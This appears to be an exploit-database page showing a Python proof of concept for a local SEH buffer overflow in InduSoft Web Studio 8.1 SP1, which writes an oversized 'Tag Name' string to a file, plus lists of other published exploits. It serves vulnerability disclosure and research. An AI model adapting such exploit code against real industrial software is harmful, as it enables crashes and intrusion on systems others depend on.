Become a patron and gain access to the dashboard, Schedule scan, API and Search

Search for hundreds of thousands of exploits

"InduSoft Web Studio 8.1 SP1 - 'Tag Name' Buffer Overflow (SEH)"

Author

Exploit author

"Luis Martínez"

Platform

Exploit platform

windows_x86-64

Release date

Exploit published date

2018-09-13

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Exploit Title: InduSoft Web Studio 8.1 SP1 - 'Tag Name' Buffer Overflow (SEH)
# Discovery by: Luis Martinez
# Discovery Date: 2018-09-11
# Vendor Homepage: http://www.indusoft.com/
# Software Link: http://www.indusoft.com/Products-Downloads
# Tested Version: 8.1 SP1
# Vulnerability Type: Local Buffer Overflow (SEH Unicode)
# Tested on OS: Windows 10 Pro x64 en
 
# Steps to Produce the Local Buffer Overflow (SEH Unicode): 
# 1.- Run python code: InduSoft_Web_Studio_8.1.py
# 2.- Open InduSoft_Web_Studio_8.1.txt and copy content to clipboard
# 3.- Open IWS v8.1 InduSoft Web Studio
# 4.- Home
# 5.- Paste ClipBoard on "Tag Name"
 
#!/usr/bin/env python

nSEH = "\x42\x42"
SEH = "\x43\x43"
 
buffer = "\x41" * 1042 + nSEH + SEH
f = open ("InduSoft_Web_Studio_8.1.txt", "w")
f.write(buffer)
f.close()
Release Date Title Type Platform Author
2020-10-16 "Seat Reservation System 1.0 - Remote Code Execution (Unauthenticated)" webapps php "Rahul Ramkumar"
2020-10-16 "Hotel Management System 1.0 - Remote Code Execution (Authenticated)" webapps php Aporlorxl23
2020-10-16 "Restaurant Reservation System 1.0 - 'date' SQL Injection (Authenticated)" webapps php b1nary
2020-10-16 "aaPanel 6.6.6 - Privilege Escalation & Remote Code Execution (Authenticated)" webapps python "Ünsal Furkan Harani"
2020-10-16 "Employee Management System 1.0 - Authentication Bypass" webapps php "Ankita Pal"
2020-10-16 "Company Visitor Management System (CVMS) 1.0 - Authentication Bypass" webapps php "Oğuz Türkgenç"
2020-10-16 "Employee Management System 1.0 - Cross Site Scripting (Stored)" webapps php "Ankita Pal"
2020-10-16 "Alumni Management System 1.0 - Authentication Bypass" webapps php "Ankita Pal"
2020-10-16 "CS-Cart 1.3.3 - authenticated RCE" webapps php 0xmmnbassel
2020-10-16 "Seat Reservation System 1.0 - Unauthenticated SQL Injection" webapps php "Rahul Ramkumar"
Release Date Title Type Platform Author
2020-01-07 "Microsoft Windows 10 (19H1 1901 x64) - 'ws2ifsl.sys' Use After Free Local Privilege Escalation (kASLR kCFG SMEP)" local windows_x86-64 bluefrostsec
2019-12-07 "Mozilla FireFox (Windows 10 x64) - Full Chain Client Side Attack" local windows_x86-64 "Axel Souchet"
2019-11-03 "DOUBLEPULSAR (x64) - Hooking 'srv!SrvTransactionNotImplemented' in 'srv!SrvTransaction2DispatchTable'" local windows_x86-64 Mumbai
2019-10-07 "ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)" local windows_x86-64 max7253
2019-08-16 "GetGo Download Manager 6.2.2.3300 - Denial of Service" dos windows_x86-64 "Malav Vyas"
2019-01-28 "CloudMe Sync 1.11.2 Buffer Overflow - WoW64 - (DEP Bypass)" remote windows_x86-64 "Matteo Malvica"
2019-01-02 "EZ CD Audio Converter 8.0.7 - Denial of Service (PoC)" dos windows_x86-64 Achilles
2019-01-02 "NBMonitor Network Bandwidth Monitor 1.6.5.0 - 'Name' Denial of Service (PoC)" dos windows_x86-64 "Luis Martínez"
2019-01-02 "NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC)" dos windows_x86-64 "Luis Martínez"
2018-11-16 "Easy Outlook Express Recovery 2.0 - Denial of Service (PoC)" dos windows_x86-64 "Ihsan Sencan"
Release Date Title Type Platform Author
2020-08-06 "CodeMeter 6.60 - 'CodeMeter.exe' Unquoted Service Path" local windows "Luis Martínez"
2020-08-05 "QlikView 12.50.20000.0 - 'FTP Server Address' Denial of Service (PoC)" dos windows "Luis Martínez"
2020-08-04 "RTSP for iOS 1.0 - 'IP Address' Denial of Service (PoC)" dos windows "Luis Martínez"
2020-08-04 "Mocha Telnet Lite for iOS 4.2 - 'User' Denial of Service (PoC)" dos windows "Luis Martínez"
2019-11-25 "Waves MaxxAudio Drivers 1.1.6.0 - 'WavesSysSvc64' Unquoted Service Path" local windows "Luis Martínez"
2019-11-19 "scadaApp for iOS 1.1.4.0 - 'Servername' Denial of Service (PoC)" dos ios "Luis Martínez"
2019-11-19 "Studio 5000 Logix Designer 30.01.00 - 'FactoryTalk Activation Service' Unquoted Service Path" local windows "Luis Martínez"
2019-11-18 "Emerson PAC Machine Edition 9.70 Build 8595 - 'FxControlRuntime' Unquoted Service Path" local windows "Luis Martínez"
2019-11-18 "Open Proficy HMI-SCADA 5.0.0.25920 - 'Password' Denial of Service (PoC)" dos ios "Luis Martínez"
2019-11-04 "OpenVPN Connect 3.0.0.272 - 'agent_ovpnconnect' Unquoted Service Path" local windows "Luis Martínez"
2019-01-31 "Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)" dos windows "Luis Martínez"
2019-01-07 "BlueAuditor 1.7.2.0 - 'Key' Denial of Service (PoC)" dos windows "Luis Martínez"
2019-01-07 "SpotFTP Password Recover 2.4.2 - 'Name' Denial of Service (PoC)" dos windows "Luis Martínez"
2019-01-07 "Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC)" dos windows "Luis Martínez"
2019-01-02 "NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC)" dos windows_x86-64 "Luis Martínez"
2019-01-02 "NBMonitor Network Bandwidth Monitor 1.6.5.0 - 'Name' Denial of Service (PoC)" dos windows_x86-64 "Luis Martínez"
2018-09-13 "InduSoft Web Studio 8.1 SP1 - 'Tag Name' Buffer Overflow (SEH)" local windows_x86-64 "Luis Martínez"
2018-09-11 "InTouch Machine Edition 8.1 SP1 - 'Nombre del Tag' Buffer Overflow (SEH)" local windows_x86-64 "Luis Martínez"
2018-09-04 "iSmartViewPro 1.5 - 'DDNS' Buffer Overflow" local windows_x86 "Luis Martínez"
2018-09-03 "Symantec Mobile Encryption for iPhone 2.1.0 - 'Server' Denial of Service (PoC)" dos ios "Luis Martínez"
2018-09-03 "Trend Micro Virtual Mobile Infrastructure 5.5.1336 - 'Server address' Denial of Service (PoC)" dos ios "Luis Martínez"
2018-08-29 "Cisco AnyConnect Secure Mobility Client 4.6.01099 - 'Introducir URL' Denial of Service (PoC)" dos ios "Luis Martínez"
2018-08-28 "Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)" dos windows "Luis Martínez"
2018-08-27 "Trend Micro Enterprise Mobile Security 2.0.0.1700 - 'Servidor' Denial of Service (PoC)" dos ios "Luis Martínez"
2018-08-24 "SkypeApp 12.8.487.0 - 'Cuenta de Skype o Microsoft' Denial of Service (PoC)" dos windows_x86-64 "Luis Martínez"
2018-08-02 "AgataSoft Auto PingMaster 1.5 - 'Host name' Denial of Service (PoC)" local windows "Luis Martínez"
2018-07-31 "Switch Port Mapping Tool 2.81 - 'SNMP Community Name' Denial of Service (PoC)" dos windows "Luis Martínez"
2018-07-30 "ipPulse 1.92 - 'IP Address/HostName-Comment' Denial of Service (PoC)" dos windows "Luis Martínez"
2018-07-27 "NetScanTools Basic Edition 2.5 - 'Hostname' Denial of Service (PoC)" dos windows "Luis Martínez"
2018-07-27 "QNap QVR Client 5.1.1.30070 - 'Password' Denial of Service (PoC)" dos windows "Luis Martínez"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/45395/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.